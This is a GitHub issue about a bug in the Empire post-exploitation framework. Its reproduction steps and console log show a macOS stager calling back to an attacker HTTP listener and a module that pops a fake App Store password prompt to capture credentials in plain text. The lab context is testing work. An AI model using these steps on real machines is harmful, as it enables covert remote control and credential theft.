-
-
Notifications
You must be signed in to change notification settings - Fork 579
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
[BUG] Error processing result packet from 'agent ID' : a bytes-like object is required, not 'str' #331
Comments
Hi. |
This PR should fix it, can you test it out and make sure it works on your end too? |
Hi @Cx01N . I installed empire using: And the version now is: Ciao |
You’ll have to install Empire through git clone and checkout the branch to test it. This change isn’t pushed to the Kali repo yet. |
Thank you @anthony. Just to be on the same page, I'll be using the following commands:
Please confirm, or suggest otherwise. Also please explain how to checkout the branch to test it. Thanks. |
You'll want to run:
FYI, I'm @Cx01N so the notifications go to the right person next time ;) |
Thank you, @Cx01N Ciao |
Hey @Cx01N Anything you'd like me to do on my end before closing this? |
Should be good to go, thanks. |
Note: Please fill out all sections (if applicable) and do not delete the below section headers, otherwise the bot will close the issue.
Empire Version
OS Information (Linux flavor, Python version)
OS:
Oracle VM Virtual Box
Host: Windows 10 pro
VM1: Kali 2020.3
VM2: macOS Catalina Version 10.15.5
Python:
Kali:
python3 -V
Python 3.8.6
python -V
Python 2.7.18
macOS:
pyhton3 -V
3.8.2
python -V
2.7.16
Describe the bug
A clear and concise description of what the bug is.
When I use the Empire module: usemodule collection/osx/prompt
I get the following error:
[!] Error processing result packet from PWS7R0PW : a bytes-like object is required, not 'str'
To Reproduce
Steps to reproduce the behavior:
On Kali:
root@kali:~# cd /opt/Empire/
root@kali:/opt/Empire# ./empire
To create stager:
(Empire) > usestager osx/applescript
(Empire: stager/osx/applescript) > execute
Go to the macOS and copy the script and compile into executable. Then save it to disk and then double click the executable file.
Go back to Empire on Kali. You'll see a new agent was created (see snapshot)
(Empire) >
[] Sending PYTHON stager (stage 1) to 10.0.2.15
[] Agent PWS7R0PW from 10.0.2.15 posted valid Python PUB key
[] New agent PWS7R0PW checked in
[+] Initial agent PWS7R0PW from 10.0.2.15 now active (Slack)
[] Sending agent (stage 2) to PWS7R0PW at 10.0.2.15
[!] strip_python_comments is deprecated and should not be used
[*] Active agents:
Name La Internal IP Machine Name Username Process PID Delay Last Seen Listener
PWS7R0PW py 10.0.2.15
iamrichs-iMac.loc iamrich /Library/Developer 575 5/0.0 2020-10-08 11:44:24 httpAll
(Empire: agents) > interact PWS7R0PW
(Empire: PWS7R0PW) > sysinfo
[] Tasked PWS7R0PW to run TASK_SYSINFO
[] Agent PWS7R0PW tasked with task ID 1
(Empire: PWS7R0PW) >
Listener: http://10.0.2.47:8080
Internal IP: 10.0.2.15
Username: \iamrich
Hostname: iamrichs-iMac.local
OS: Darwin,iamrichs-iMac.local,19.5.0,Darwin Kernel Version 19.5.0: Tue May 26 20:41:44 PDT 2020; root:xnu-6153.121.2~2/RELEASE_X86_64,x86_64
High Integrity: 0
Process Name: /Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.8/Resources/Python.app/Contents/MacOS/Python
Process ID: 575
Language: python
Language Version: 3.8
(Empire: PWS7R0PW) > usemodule collection/osx/prompt
(Empire: python/collection/osx/prompt) >
(Empire: python/collection/osx/prompt) > execute
[>] Module is not opsec safe, run? [y/N] y
[] Tasked PWS7R0PW to run TASK_CMD_WAIT
[] Agent PWS7R0PW tasked with task ID 2
[*] Tasked agent PWS7R0PW to run module python/collection/osx/prompt
Go to macOS VM and you'll see a pop window prompting for App store password (see snapshot)
I provide the password and click ok.
Go to Empire on Kali and I get the following error:
(Empire: python/collection/osx/prompt) > [!] Error processing result packet from PWS7R0PW : a bytes-like object is required, not 'str'
Expected behavior
I should get the password - I provided in the App store prompt windows - in plain text.
Screenshots
If applicable, add screenshots to help explain your problem.
Additional context
Add any other context about the problem here.
The text was updated successfully, but these errors were encountered: